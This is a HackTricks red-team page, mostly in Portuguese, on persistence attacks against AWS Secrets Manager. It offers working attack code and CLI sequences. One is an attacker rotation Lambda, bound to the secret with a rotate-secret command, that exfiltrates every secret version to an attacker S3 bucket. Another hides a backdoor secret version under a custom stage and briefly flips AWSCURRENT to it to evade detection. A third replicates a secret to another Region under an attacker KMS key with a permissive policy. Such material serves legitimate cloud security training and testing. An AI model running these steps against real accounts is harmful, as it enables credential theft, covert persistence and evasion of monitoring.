AWS - Secrets Manager Persistence

Reading time: 10 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Secrets Manager

Para mais informações confira:

AWS - Secrets Manager Enum

Via Resource Policies

É possível conceder acesso a secrets a contas externas via resource policies. Confira a Secrets Manager Privesc page para mais informações. Observe que para acessar um secret, a conta externa também precisará de acesso à KMS key que encripta o secret.

Via Secrets Rotate Lambda

Para rotacionar secrets automaticamente, uma Lambda configurada é chamada. Se um atacante pudesse change o code ele poderia diretamente exfiltrate o novo secret para si.

Abaixo um exemplo de como o lambda code para tal ação poderia ser:

python
import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password

Substituir a Lambda de rotação por uma função controlada pelo atacante via RotateSecret

Abuse secretsmanager:RotateSecret para rebindar um secret para uma Lambda de rotação controlada pelo atacante e acionar uma rotação imediata. A função maliciosa exfiltra as versões do secret (AWSCURRENT/AWSPENDING) durante os passos de rotação (createSecret/setSecret/testSecret/finishSecret) para um sink do atacante (por exemplo, S3 ou HTTP externo).

  • Requirements

  • Permissions: secretsmanager:RotateSecret, lambda:InvokeFunction na Lambda do atacante, iam:CreateRole/PassRole/PutRolePolicy (ou AttachRolePolicy) para provisionar a role de execução da Lambda com secretsmanager:GetSecretValue e preferencialmente secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage (para que a rotação continue funcionando), KMS kms:Decrypt para a chave KMS do secret, e s3:PutObject (ou egress de saída) para exfiltração.

  • A target secret id (SecretId) com rotação habilitada ou a habilidade de habilitar rotação.

  • Impact

  • O atacante obtém o(s) valor(es) do secret sem modificar o código legítimo de rotação. Apenas a configuração de rotação é alterada para apontar para a Lambda do atacante. Se não for detectado, rotações agendadas futuras continuarão a invocar a função do atacante também.

  • Attack steps (CLI)

  1. Prepare attacker sink and Lambda role
  • Crie um bucket S3 para exfiltração e uma execution role confiada pela Lambda com permissões para ler o secret e escrever no S3 (além de logs/KMS conforme necessário).
  1. Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
  2. Rebind rotation and trigger
  • aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
  1. Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
  2. (Optional) Restore the original rotation Lambda to reduce detection.
  • Example attacker Lambda (Python) exfiltrating to S3
  • Environment: EXFIL_BUCKET=<bucket>
  • Handler: lambda_function.lambda_handler
python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Abusar dos rótulos de staging de versão do Secrets Manager para plantar uma versão do secret controlada pelo atacante e mantê-la oculta em um stage personalizado (por exemplo, ATTACKER) enquanto a produção continua a usar o AWSCURRENT original. A qualquer momento, mova AWSCURRENT para a versão do atacante para envenenar workloads dependentes e então restaure-o para minimizar a detecção. Isso fornece backdoor persistence furtiva e manipulação rápida de time-of-use sem alterar o nome do secret ou a rotation config.

  • Requisitos

  • Permissões: secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage, secretsmanager:DescribeSecret, secretsmanager:ListSecretVersionIds, secretsmanager:GetSecretValue (para verificação)

  • ID do secret alvo na Região.

  • Impacto

  • Mantenha uma versão oculta e controlada pelo atacante de um secret e altere, de forma atômica, o AWSCURRENT para ela sob demanda, influenciando qualquer consumidor que resolva o mesmo nome do secret. A troca e a rápida reversão reduzem a chance de detecção enquanto permitem um compromise de time-of-use.

  • Attack steps (CLI)

  • Preparação

  • export SECRET_ID=<target secret id or arn>

Comandos CLI
bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
  • Notas
  • Quando você fornecer --client-request-token, Secrets Manager o usa como o VersionId. Adicionar uma nova versão sem definir explicitamente --version-stages move AWSCURRENT para a nova versão por padrão e marca a anterior como AWSPREVIOUS.

Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Abuse a replicação multi-Region do Secrets Manager para criar uma réplica de um secret alvo em uma Região menos monitorada, criptografá-la com uma chave KMS controlada pelo atacante nessa Região, promover a réplica para um secret independente e anexar uma resource policy permissiva concedendo ao atacante acesso de leitura. O secret original na Região primária permanece inalterado, proporcionando um caminho de acesso duradouro e discreto ao valor do secret através da réplica promovida, enquanto contorna restrições de KMS/policy no primário.

  • Requisitos

  • Permissões: secretsmanager:ReplicateSecretToRegions, secretsmanager:StopReplicationToReplica, secretsmanager:PutResourcePolicy, secretsmanager:GetResourcePolicy, secretsmanager:DescribeSecret.

  • Na Região da réplica: kms:CreateKey, kms:CreateAlias, kms:CreateGrant (ou kms:PutKeyPolicy) para permitir que o principal atacante tenha kms:Decrypt.

  • Um principal atacante (user/role) para receber acesso de leitura ao secret promovido.

  • Impacto

  • Caminho de acesso persistente entre Regiões ao valor do secret através de uma réplica independente sob uma CMK do KMS controlada pelo atacante e uma resource policy permissiva. O secret primário na Região original permanece intocado.

  • Ataque (CLI)

  • Vars

bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
  1. Criar chave KMS controlada pelo atacante na Região de réplica
bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
  1. Replicar o secret para R2 usando a attacker KMS key
bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
  1. Promover a réplica a um nó independente no R2
bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
  1. Anexar política de recurso permissiva ao secret independente em R2
bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
  1. Leia o segredo com o principal do atacante em R2
bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks